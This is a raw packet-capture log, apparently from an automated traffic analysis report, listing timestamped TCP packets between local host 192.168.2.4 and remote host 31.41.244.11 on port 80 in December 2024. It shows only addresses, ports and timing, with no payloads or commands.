Dec 13, 2024 01:51:10.949088097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.949815989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.949915886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.949979067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.950728893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.950845957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.950906992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.951708078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.951838017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.951900959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.952680111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.952816010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.952941895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.953705072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.953737020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.953803062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.954611063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.954674006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.954757929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.954823017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.955591917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.955652952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.955688953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.955748081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.956579924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.956644058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.956696987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.957092047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.957531929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.957678080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.957735062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.958525896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.958590984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.958614111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.958663940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.959472895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.959562063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.959584951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.959640026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.960464001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.960561037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.960613012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.961431026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.961554050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.961606979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.962404966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.962460041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.962519884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.963388920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.963438034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.963486910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.964396954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.964452982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.964504957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.965348959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.965380907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.965409994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.965449095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.966286898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.966341019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.966409922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.966777086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.967282057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.967418909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.967487097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.968254089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.968312979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.968349934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.968532085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.969235897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.969367981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.969428062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.970202923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.970266104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.970308065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.970411062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.971198082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.971256018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.971333981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.971390963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.972172022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.972228050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.113835096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.113872051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.114120007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.114149094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.114281893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.114456892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.115096092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.115264893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.115356922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.116034985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.116099119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.116200924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.117037058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.117098093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.117130995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.117961884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.117974043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.118098974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.118160963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.118972063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.119076014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.119141102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.119956017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.120016098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.120099068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.120951891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.120994091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.121011972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.121061087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.121927977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.122040987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.122102976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.122860909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.122993946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.123060942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.123828888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.123943090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.124001980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.124840021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.124896049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.124937057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.125614882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.125793934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.125850916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.125936031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.126787901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.126831055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.126868010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.126899958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.127734900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.127801895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.127857924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.128715038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.128863096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.128918886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.129695892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.129757881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.129801989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.129903078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.130647898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.130754948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.130812883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.131622076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.131735086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.131791115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.132601976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.132659912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.132709980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.133155107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.133562088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.133618116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.133703947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.134573936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.134629965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.134661913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.135533094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.135595083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.135639906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.135688066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.136483908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.136595964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.136652946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.137500048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.137622118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.137700081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.138541937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.138652086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.138706923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.139467955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.139529943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.139535904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.140393972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.140449047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.140491962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.141206026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.141366005 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.141508102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.141565084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.142343044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.142419100 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.142472029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.143327951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.143433094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.143461943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.144303083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.144362926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.144407034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.145282030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.145343065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.145421982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.146050930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.146238089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.146372080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.146428108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.147218943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.147349119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.147408962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.148200035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.148332119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.148338079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.149177074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.149245977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.149291039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.150163889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.150226116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.150302887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.150361061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.151102066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.151262999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.151326895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.152107954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.152205944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.152261019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.153078079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.153131962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.153175116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.153500080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.154038906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.154218912 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.154284000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.155019999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.155179024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.155236959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.156006098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.156065941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.156100988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.156151056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.156964064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.157062054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.157121897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.157951117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.158056974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.158092022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.158122063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.158902884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.158967972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.158973932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.159171104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.159894943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.159984112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.160043955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.160881042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.160974979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.161030054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.161885977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.161943913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.161967993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.162821054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.162873030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.162997961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.163820982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.163876057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.163909912 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.164743900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.164813042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.305862904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.305919886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.306015968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.306251049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.306314945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.306375027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.306452990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.307228088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.307296038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.307348013 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.307405949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.308183908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.308304071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.308362961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.309185982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.309307098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.309370041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.310162067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.310220957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.310269117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.310323954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.311130047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.311188936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.311247110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.311345100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.312089920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.312186003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.312247992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.313059092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.313155890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.313201904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.313227892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.314044952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.314104080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.314162970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.314248085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.315027952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.315156937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.315233946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.315977097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.316107035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.316179991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.316939116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.317060947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.317126036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.317945004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.318078995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.318140984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.318893909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.318957090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.319004059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.319255114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.319874048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.319936991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.319979906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.320127010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.320848942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.320911884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.320952892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.321002960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.321849108 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.321964979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.322026968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.322812080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.322875023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.322916985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.322973013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.323811054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.323867083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.323898077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.323950052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.324749947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.324809074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.324883938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.324949026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.325743914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.325911999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.325984001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.326728106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.326867104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.326932907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:11.327683926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:11.327811003 CET	80	49765	31.41.244.11	192.168.2.4
